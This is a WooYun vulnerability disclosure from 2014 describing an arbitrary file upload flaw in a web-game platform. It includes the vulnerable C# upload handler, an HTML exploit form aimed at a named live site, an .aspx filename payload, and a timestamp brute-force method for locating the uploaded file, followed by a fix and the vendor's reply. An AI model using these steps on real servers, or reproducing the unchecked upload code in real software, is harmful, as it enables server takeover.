当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048516

漏洞标题:信游科技页游平台程序通用型文件上传,可攻陷多个主流网页游戏平台

相关厂商:52xinyou.cn

漏洞作者: wefgod

提交时间:2014-01-10 20:46

修复时间:2014-04-10 20:46

公开时间:2014-04-10 20:46

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-10: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放
2014-03-10: 细节向核心白帽子及相关领域专家公开
2014-03-20: 细节向普通白帽子公开
2014-03-30: 细节向实习白帽子公开
2014-04-10: 细节向公众公开

简要描述:

上一发:http://www.wooyun.org/bugs/wooyun-2014-048510
但是为啥给走小厂商流程了,
http://www.wooyun.org/bugs/wooyun-2014-047997 这哥们的还漏洞预警了……
@疯狗 狗哥帮忙!

详细说明:

官方案例:
http://52xinyou.cn/anli.htm
从案例里面选了12玩 http://www.12wan.com 做例子,其它雷同(个别有狗)
api里的upload.ashx文件产生的问题。

漏洞证明:

地址:http://www.12wan.com/api/Upload.ashx

……
extTable.Add("image", "gif,jpg,jpeg,png,bmp");
extTable.Add("flash", "swf,flv");
extTable.Add("apw", "apw");
extTable.Add("media", "swf,flv,mp3,mp4,wav,wma,wmv,mid,avi,mpg,asf,rm,rmvb");
extTable.Add("file", "cs,doc,ppt,pptx,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,dll,exe,dbo,oleb");
HttpPostedFile file = context.Request.Files["Filedata"];
string _folder = context.Server.MapPath(context.Request["folder"]);
String fileExt = Path.GetExtension(file.FileName).ToLower();
string uploadPath = context.Server.MapPath("~/upload") + "\\";
bool nodate = false;
bool wname = false;
string folder = "";
if (Array.IndexOf(((String)extTable["image"]).Split(','), fileExt.Substring(1).ToLower()) != -1)
{
folder = "image";
}
…………
//如果以上后缀都对不上的话,直接命名文件夹为other
else
{
folder = "other";
}
if (nodate)
{
uploadPath += folder;
}
else
{
uploadPath += folder + "\\" + Utility.NowTime.ToString("yyyyMMdd", DateTimeFormatInfo.InvariantInfo);
}
if (file != null)
{
if (!Directory.Exists(uploadPath))
{
Directory.CreateDirectory(uploadPath);
}
//最后拼凑路径的时候直接使用了file.FileName没有重命名!
var fname = uploadPath + "\\" + Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo) + file.FileName;
file.SaveAs(fname);
if (wname)
{
context.Response.Write(fname);
}
else
{
context.Response.Write("0");
}

}


也就是说文件后缀其实毫无限制。而且路径还是可猜测的!
具体利用(要点小技巧):
Html利用代码:
<html>
<form action="http://www.12wan.com/api/Upload.ashx" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata" size="23" id="file" />
<input type="submit" value="Submit" />
</form>
</html>
Content-Disposition: form-data; name="Filedata"; filename="a.aspx"
Filename处要小心,可能会带入如c:等路径会导致出错
上传之后会显示:

image003.png


没有执行context.Response.Write(fname);直接将路径回显怎么办?前面有一个Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo)拼接到了用户名前面怎么办?
仔细看Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo)
HHmmss,意思就是说两位小时数、两位分、两位秒,好办了吧?
看看当前时间:

image004.png


1933xx,大不了我们就从190000开始暴力破解吗,再看看文件夹路径Utility.NowTime.ToString("yyyyMMdd", DateTimeFormatInfo.InvariantInfo);
简单,如 20140110
好,拼接第一个链接先:
http://www.12wan.com/upload/other/20140110/190000a.aspx
上神器:

image005.png


设置payload

image006.png


image007.png


开打!

image008.png


200了,找到路径

image009.png


成功进入服务器。

修复方案:

var fname = uploadPath + "\\" + Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo) + file.FileName;
后面file.FileName采用随机化的文件名并注意使用后缀的白名单,只限定指定类型的文件可以上传!其它一律禁止!
另外厂商据说会给奖励啊?

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-01-14 11:52

厂商回复:

已经认领 这个系统是老版本系统 公开前会被淘汰 但是非常感激提出漏洞的白帽子们 已经联系乌云官方 准备做次活动 具体请留意官方公告 再次感谢 礼物已送

最新状态:

暂无